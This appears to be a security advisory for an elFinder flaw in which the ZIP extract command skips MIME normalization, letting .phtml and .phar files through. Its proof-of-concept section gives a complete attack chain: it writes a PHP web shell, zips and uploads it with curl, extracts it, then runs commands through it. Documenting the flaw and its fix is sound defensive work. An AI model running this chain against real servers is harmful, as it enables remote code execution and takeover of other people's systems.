high · 8.1CVE-2026-81891Sep 2, 2026

CVE-2026-81891: elFinder ZIP Extraction MIME Filter Bypass Leading to RCE

Rohit Hatagale
AI Security Researcher, SecureLayer7

elFinder's ZIP extraction command skips a critical MIME normalization step, letting attackers smuggle PHP files inside a ZIP archive and execute them on the server even when direct PHP uploads are…

PackageStudio-42/elFinder
Ecosystemcomposer
Affected< 2.1.70
Fixed in2.1.70
CVE-2026-81891: elFinder ZIP Extraction MIME Filter Bypass Leading to RCE

The problem

elFinder versions before 2.1.70 expose two separate MIME validation paths. The direct upload command runs mimetypeInternalDetect() followed by mimeTypeNormalize(), which maps alternate PHP extensions like .phtml, .phar, .php5, and .php3 to text/x-php before the deny-list check fires.

The extract command's checkExtractItems() function (line 7110 of elFinderVolumeDriver.class.php) calls mimetypeInternalDetect() alone, then passes the result straight to allowPutMime(). Because those alternate extensions are absent from mime.types, stage 1 returns a generic type like application/octet-stream.

The staticMimeMap normalization never runs, so allowPutMime() sees a non-blocked type and silently permits the file to land in the web-accessible files/ directory.

Proof of concept

A working proof-of-concept for CVE-2026-81891 in Studio-42/elFinder, with the exact payload below.

bash
# Step 1: create the web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.phtml

# Step 2: pack it into a ZIP
zip bypass.zip shell.phtml

# Step 3: upload the ZIP through elFinder (application/zip is allowed)
# Use the browser UI or:
curl -F 'cmd=upload' \
     -F 'target=l1_Lw' \
     -F 'upload[]=@bypass.zip' \
     http://<target>/php/connector.minimal.php

# Step 4: extract via the elFinder 'extract' command
curl 'http://<target>/php/connector.minimal.php?cmd=extract&target=l1_Lw&targets[]=l1_<hash_of_bypass.zip>'

# Step 5: execute the dropped shell
curl 'http://<target>/files/shell.phtml?cmd=id'

The root cause is CWE-434: the MIME pipeline for the extract command is shorter than the one used for direct uploads. mimetypeInternalDetect() only consults the system mime.types file. Extensions like .phtml and .phar are not present there, so they resolve to a generic non-PHP type.

Without the subsequent mimeTypeNormalize() call, the staticMimeMap entries (phtml:* -> text/x-php, phar:* -> text/x-php, etc.) never apply, and the deny-list check on text/x-php is never triggered.

The patch (commit dd73e702820c146a192969800ee674ecdb208365) wraps the mimetypeInternalDetect() call inside checkExtractItems() with mimeTypeNormalize(), making the extraction path consistent with the upload path. After the fix, .phtml and .phar are correctly resolved to text/x-php before allowPutMime() is called, so the deny-list blocks them at extraction time just as it does during direct upload.

The fix

Upgrade to elFinder 2.1.70. The fix is in commit dd73e702820c146a192969800ee674ecdb208365: checkExtractItems() now wraps mimetypeInternalDetect() with mimeTypeNormalize() so both upload paths use the full MIME pipeline. If you cannot upgrade immediately, remove ZIP upload permission from untrusted users or add .phtml, .phar, .php3, and .php5 explicitly to uploadDeny in your connector configuration and ensure your web server does not execute those extensions as PHP.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research